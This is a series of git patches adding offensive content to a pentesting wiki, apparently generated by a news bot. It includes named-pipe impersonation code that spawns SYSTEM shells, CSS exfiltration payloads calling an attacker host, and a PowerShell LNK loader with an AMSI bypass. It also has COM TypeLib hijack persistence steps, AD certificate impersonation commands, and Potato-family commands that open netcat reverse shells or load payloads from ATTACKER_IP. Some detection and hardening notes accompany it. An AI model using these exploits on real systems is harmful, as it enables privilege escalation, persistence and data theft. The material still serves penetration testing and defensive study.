From 7a5cdaf0668e72c9c215e3f0ec0699daefca67ac Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sun, 24 Aug 2025 01:47:41 +0000 Subject: [PATCH 01/19] Add content from: Research Update: Enhanced src/windows-hardening/windows-loca... --- .../named-pipe-client-impersonation.md | 135 +++++++++++++++++- 1 file changed, 131 insertions(+), 4 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 9a6c46fe6..2fca84be4 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -2,9 +2,136 @@ {{#include ../../banners/hacktricks-training.md}} -Check: [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) +Named Pipe client impersonation is a local privilege escalation primitive that lets a named-pipe server thread adopt the security context of a client that connects to it. In practice, an attacker who can run code with SeImpersonatePrivilege can coerce a privileged client (e.g., a SYSTEM service) to connect to an attacker-controlled pipe, call ImpersonateNamedPipeClient, duplicate the resulting token into a primary token, and spawn a process as the client (often NT AUTHORITY\SYSTEM). + +This page focuses on the core technique. For end-to-end exploit chains that coerce SYSTEM to your pipe, see the Potato family pages referenced below. + +## TL;DR +- Create a named pipe: \\.\pipe\ and wait for a connection. +- Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.). +- Read at least one message from the pipe, then call ImpersonateNamedPipeClient. +- Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process. + +## Requirements and key APIs +- Privileges typically needed by the calling process/thread: + - SeImpersonatePrivilege to successfully impersonate a connecting client and to use CreateProcessWithTokenW. + - Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM). +- Core APIs used: + - CreateNamedPipe / ConnectNamedPipe + - ReadFile/WriteFile (must read at least one message before impersonation) + - ImpersonateNamedPipeClient and RevertToSelf + - OpenThreadToken, DuplicateTokenEx(TokenPrimary) + - CreateProcessWithTokenW or CreateProcessAsUser +- Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe. + +## Minimal Win32 workflow (C) +```c +// Minimal skeleton (no error handling hardening for brevity) +#include +#include + +int main(void) { + LPCSTR pipe = "\\\\.\\pipe\\evil"; + HANDLE hPipe = CreateNamedPipeA( + pipe, + PIPE_ACCESS_DUPLEX, + PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, + 1, 0, 0, 0, NULL); + + if (hPipe == INVALID_HANDLE_VALUE) return 1; + + // Wait for privileged client to connect (see Triggers section) + if (!ConnectNamedPipe(hPipe, NULL)) return 2; + + // Read at least one message before impersonation + char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL); + + // Impersonate the last message sender + if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368 + + // Extract and duplicate the impersonation token into a primary token + HANDLE impTok = NULL, priTok = NULL; + if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4; + if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5; + + // Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege. + STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0}; + if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY, + L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, + 0, NULL, NULL, &si, &pi)) { + // Fallback: CreateProcessAsUser after you already impersonated SYSTEM + CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, + NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); + } + + RevertToSelf(); // Restore original context + return 0; +} +``` +Notes: +- If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didn’t restrict impersonation to Identification level. +- Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation. + +## .NET quick example +In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process. +```csharp +using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; +class P { + [DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h); + [DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p); + [DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi); + static void Main(){ + using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1); + s.WaitForConnection(); + // Ensure client sent something so the token is available + s.RunAsClient(() => { + IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS + IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary + var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe"); + Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi); + }); + } +} +``` + +## Common triggers/coercions to get SYSTEM to your pipe +These techniques coerce privileged services to connect to your named pipe so you can impersonate them: +- Print Spooler RPC trigger (PrintSpoofer) +- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) +- EFSRPC pipes (EfsPotato/SharpEfsPotato) + +See detailed usage and compatibility here: + +- +{{#ref}} +roguepotato-and-printspoofer.md +{{#endref}} +- +{{#ref}} +juicypotato.md +{{#endref}} + +If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see: + +- +{{#ref}} +from-high-integrity-to-system-with-name-pipes.md +{{#endref}} + +## Troubleshooting and gotchas +- You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368). +- If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel). +- CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM. +- Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \\.\pipe are accessible according to the server’s DACL. + +## Detection and hardening +- Monitor named pipe creation and connections. Sysmon Event IDs 17 (Pipe Created) and 18 (Pipe Connected) are useful to baseline legitimate pipe names and catch unusual, random-looking pipes preceding token-manipulation events. +- Look for sequences: process creates a pipe, a SYSTEM service connects, then the creating process spawns a child as SYSTEM. +- Reduce exposure by removing SeImpersonatePrivilege from nonessential service accounts and avoiding unnecessary service logons with high privileges. +- Defensive development: when connecting to untrusted named pipes, specify SECURITY_SQOS_PRESENT with SECURITY_IDENTIFICATION to prevent servers from fully impersonating the client unless necessary. + +## References +- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient +- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation {{#include ../../banners/hacktricks-training.md}} - - - From 3acbdf095c4e4fd8a2c585b29e39f3aa86591841 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Tue, 26 Aug 2025 18:34:43 +0000 Subject: [PATCH 02/19] Add content from: Inline Style Exfiltration: leaking data with chained CSS con... --- .../xs-search/css-injection/README.md | 53 +++++++++++++++++-- 1 file changed, 50 insertions(+), 3 deletions(-) diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 4e4a827fd..2c97c3209 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -107,6 +107,50 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi > Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\ > No worries, just check the **output** because **you can see the flag there**. +### Inline-Style CSS Exfiltration (attr() + if() + image-set()) + +This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value. + +> [!WARNING] +> Equality comparisons in if() require double quotes for string literals. Single quotes will not match. + +- Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes). +- Read: copy the attribute into a CSS variable: `--val: attr(title)`. +- Decide: select a URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`. +- Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint. + +Attempt (does not work; single quotes in comparison): + +```html +
test
+``` + +Working payload (double quotes required in the comparison): + +```html +
test
+``` + +Enumerating attribute values with nested conditionals: + +```html +
+``` + +Realistic demo (probing usernames): + +```html +
+``` + +Notes and limitations: + +- Works on Chromium-based browsers at the time of research; behavior may differ on other engines. +- Best suited for finite/enumerable value spaces (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets remains challenging. +- Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content). + +Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda + ### Other selectors Other ways to access DOM parts with **CSS selectors**: @@ -779,8 +823,11 @@ So, if the font does not match, the response time when visiting the bot is expec - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) +- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration) +- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda) +- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php) +- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if) +- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr) +- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set) {{#include ../../../banners/hacktricks-training.md}} - - - From d81ff58ade07d65d70bc6b16461506ca9b3feef8 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Tue, 26 Aug 2025 18:39:45 +0000 Subject: [PATCH 03/19] Add content from: ZipLine Campaign: A Sophisticated Phishing Attack Targeting ... --- .../phishing-documents.md | 55 +++++++++++++++- .../com-hijacking.md | 65 +++++++++++++++++++ 2 files changed, 118 insertions(+), 2 deletions(-) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 519818c77..033e39c1f 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -21,7 +21,7 @@ DOCX files referencing a remote template (File –Options –Add-ins –Manage: ### External Image Load Go to: _Insert --> Quick Parts --> Field_\ -_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\/whatever +_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever ![](<../../images/image (155).png>) @@ -167,6 +167,57 @@ Don't forget that you cannot only steal the hash or the authentication but also - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) -{{#include ../../banners/hacktricks-training.md}} +## LNK Loaders + ZIP-Embedded Payloads (fileless chain) +Highly effective campaigns deliver a ZIP that contains two legitimate decoy documents (PDF/DOCX) and a malicious .lnk. The trick is that the actual PowerShell loader is stored inside the ZIP’s raw bytes after a unique marker, and the .lnk carves and runs it fully in memory. +Typical flow implemented by the .lnk PowerShell one-liner: + +1) Locate the original ZIP in common paths: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory. +2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload. +3) Copy the ZIP to %ProgramData%, extract there, and open the decoy .docx to appear legitimate. +4) Bypass AMSI for the current process: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) Deobfuscate the next stage (e.g., remove all # characters) and execute it in memory. + +Example PowerShell skeleton to carve and run the embedded stage: + +```powershell +$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') +$paths = @( + "$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents", + "$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName +) +$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1 +if(-not $zip){ return } +$bytes = [IO.File]::ReadAllBytes($zip.FullName) +$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker) +if($idx -lt 0){ return } +$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)] +$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' +[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) +Invoke-Expression $code +``` + +Notes +- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA). +- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts. + +Persistence used in the same chain +- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here: + +{{#ref}} +../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md +{{#endref}} + +Hunting/IOCs +- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data. +- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document. +- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- Long-running business threads ending with links hosted under trusted PaaS domains. + +## References + +- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) +- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index d4f4cf7d9..ed8d55369 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -78,6 +78,71 @@ Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5 Then, you can just create the HKCU entry and everytime the user logs in, your backdoor will be fired. +--- + +## COM TypeLib Hijacking (script: moniker persistence) + +Type Libraries (TypeLib) define COM interfaces and are loaded via `LoadTypeLib()`. When a COM server is instantiated, the OS may also load the associated TypeLib by consulting registry keys under `HKCR\TypeLib\{LIBID}`. If the TypeLib path is replaced with a **moniker**, e.g. `script:C:\...\evil.sct`, Windows will execute the scriptlet when the TypeLib is resolved – yielding a stealthy persistence that triggers when common components are touched. + +This has been observed against the Microsoft Web Browser control (frequently loaded by Internet Explorer, apps embedding WebBrowser, and even `explorer.exe`). + +### Steps (PowerShell) + +1) Identify the TypeLib (LIBID) used by a high-frequency CLSID. Example CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). + +```powershell +$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}' +$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)' +$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName +"CLSID=$clsid LIBID=$libid VER=$ver" +``` + +2) Point the per-user TypeLib path to a local scriptlet using the `script:` moniker (no admin rights required): + +```powershell +$dest = 'C:\\ProgramData\\Udate_Srv.sct' +New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null +Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest" +``` + +3) Drop a minimal JScript `.sct` that relaunches your primary payload (e.g. a `.lnk` used by the initial chain): + +```xml + + + + + +``` + +4) Triggering – opening IE, an application that embeds the WebBrowser control, or even routine Explorer activity will load the TypeLib and execute the scriptlet, re-arming your chain on logon/reboot. + +Cleanup +```powershell +# Remove the per-user TypeLib hijack +Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null +# Delete the dropped scriptlet +Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null +``` + +Notes +- You can apply the same logic to other high-frequency COM components; always resolve the real `LIBID` from `HKCR\CLSID\{CLSID}\TypeLib` first. +- On 64-bit systems you may also populate the `win64` subkey for 64-bit consumers. + +## References + +- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) +- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) + {{#include ../../banners/hacktricks-training.md}} From 74a1ba247cc9c9369f691dc64c2366aa3cd0f813 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 27 Aug 2025 01:26:07 +0000 Subject: [PATCH 04/19] Add content from: GhostPack/Certify: Abusing Active Directory Certificate Serv... --- .../ad-certificates/README.md | 25 +++++++++++++------ .../ad-certificates/domain-escalation.md | 24 ++++++++++++++++-- 2 files changed, 39 insertions(+), 10 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index 4f0ae8598..2b5b7ab2c 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -108,10 +108,20 @@ AD's certificate services can be enumerated through LDAP queries, revealing info Commands for using these tools include: ```bash -# Enumerate trusted root CA certificates and Enterprise CAs with Certify -Certify.exe cas -# Identify vulnerable certificate templates with Certify -Certify.exe find /vulnerable +# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints +# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks +Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] + +# Identify vulnerable certificate templates and filter for common abuse cases +Certify.exe find +Certify.exe find /vulnerable [/currentuser] +Certify.exe find /enrolleeSuppliesSubject # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) +Certify.exe find /clientauth # templates with client-auth EKU +Certify.exe find /showAllPermissions # include template ACLs in output +Certify.exe find /json /outfile:C:\Temp\adcs.json + +# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery +Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] # Use Certipy for enumeration and identifying vulnerable templates certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 @@ -125,8 +135,7 @@ certutil -v -dstemplate - [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) - [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) -{{#include ../../../banners/hacktricks-training.md}} - - - +{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 84e9d4641..646398d8e 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -43,8 +43,19 @@ certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 To **abuse this vulnerability to impersonate an administrator** one could run: ```bash -Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin -certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' +# Impersonate by setting SAN to a target principal (UPN or sAMAccountName) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local + +# Optionally pin the target's SID into the request (post-2022 SID mapping aware) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \ + /url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Certipy equivalent +certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \ + -template 'ESC1' -upn 'administrator@corp.local' ``` Then you can transform the generated **certificate to `.pfx`** format and use it to **authenticate using Rubeus or certipy** again: @@ -152,6 +163,13 @@ Notable permissions applicable to certificate templates include: ### Abuse +To identify principals with edit rights on templates and other PKI objects, enumerate with Certify: + +```bash +Certify.exe find /showAllPermissions +Certify.exe pkiobjects /domain:corp.local /showAdmins +``` + An example of a privesc like the previous one:
@@ -1010,6 +1028,8 @@ Both scenarios lead to an **increase in the attack surface** from one forest to ## References - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}} From e3c5f26a1a2c899eeb067c442e18571da1e20efb Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 27 Aug 2025 01:29:39 +0000 Subject: [PATCH 05/19] Add content from: Research Update: Enhanced src/windows-hardening/windows-loca... --- .../roguepotato-and-printspoofer.md | 96 ++++++++++++++++++- 1 file changed, 93 insertions(+), 3 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index a6efedddc..b74dd2801 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -4,6 +4,42 @@ > [!WARNING] > **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. +> Note: A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References. + +Related pages for background and manual techniques: + +{{#ref}} +seimpersonate-from-high-to-system.md +{{#endref}} + +{{#ref}} +from-high-integrity-to-system-with-name-pipes.md +{{#endref}} + +{{#ref}} +privilege-escalation-abusing-tokens.md +{{#endref}} + +## Requirements and common gotchas + +All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges: + +- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege +- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.) + +Check privileges quickly: + +```cmd +whoami /priv | findstr /i impersonate +``` + +Operational notes: + +- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato. +- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag. +- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon). +- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running. + ## Quick Demo ### PrintSpoofer @@ -23,6 +59,10 @@ NULL ``` +Notes: +- You can use -i to spawn an interactive process in the current console, or -c to run a one-liner. +- Requires Spooler service. If disabled, this will fail. + ### RoguePotato ```bash @@ -31,6 +71,16 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` +If outbound 135 is blocked, pivot the OXID resolver via socat on your redirector: + +```bash +# On attacker redirector (must listen on TCP/135 and forward to victim:9999) +socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 + +# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP +RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999 +``` + ### SharpEfsPotato ```bash @@ -71,6 +121,13 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` +Tip: If one pipe fails or EDR blocks it, try the other supported pipes: + +```text +EfsPotato [pipe] + pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) +``` + ### GodPotato ```bash @@ -79,10 +136,44 @@ nt authority\system > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` +Notes: +- Works across Windows 8/8.1–11 and Server 2012–2022 when SeImpersonatePrivilege is present. + ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) +DCOMPotato provides two variants targeting service DCOM objects that default to RPC_C_IMP_LEVEL_IMPERSONATE. Build or use the provided binaries and run your command: + +```cmd +# PrinterNotify variant +PrinterNotifyPotato.exe "cmd /c whoami" + +# McpManagementService variant (Server 2022 also) +McpManagementPotato.exe "cmd /c whoami" +``` + +### SigmaPotato (updated GodPotato fork) + +SigmaPotato adds modern niceties like in-memory execution via .NET reflection and a PowerShell reverse shell helper. + +```powershell +# Load and execute from memory (no disk touch) +[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) +[SigmaPotato]::Main("cmd /c whoami") + +# Or ask it to spawn a PS reverse shell +[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444")) +``` + +## Detection and hardening notes + +- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon can surface useful telemetry: Event ID 1 (process creation), 17/18 (named pipe created/connected), and command lines spawning child processes as SYSTEM. +- Spooler hardening: Disabling the Print Spooler service on servers where it isn’t needed prevents PrintSpoofer-style local coercions via spoolss. +- Service account hardening: Minimize assignment of SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege to custom services. Consider running services under virtual accounts with least privileges required and isolating them with service SID and write-restricted tokens when possible. +- Network controls: Blocking outbound TCP/135 or restricting RPC endpoint mapper traffic can break RoguePotato unless an internal redirector is available. +- EDR/AV: All of these tools are widely signatured. 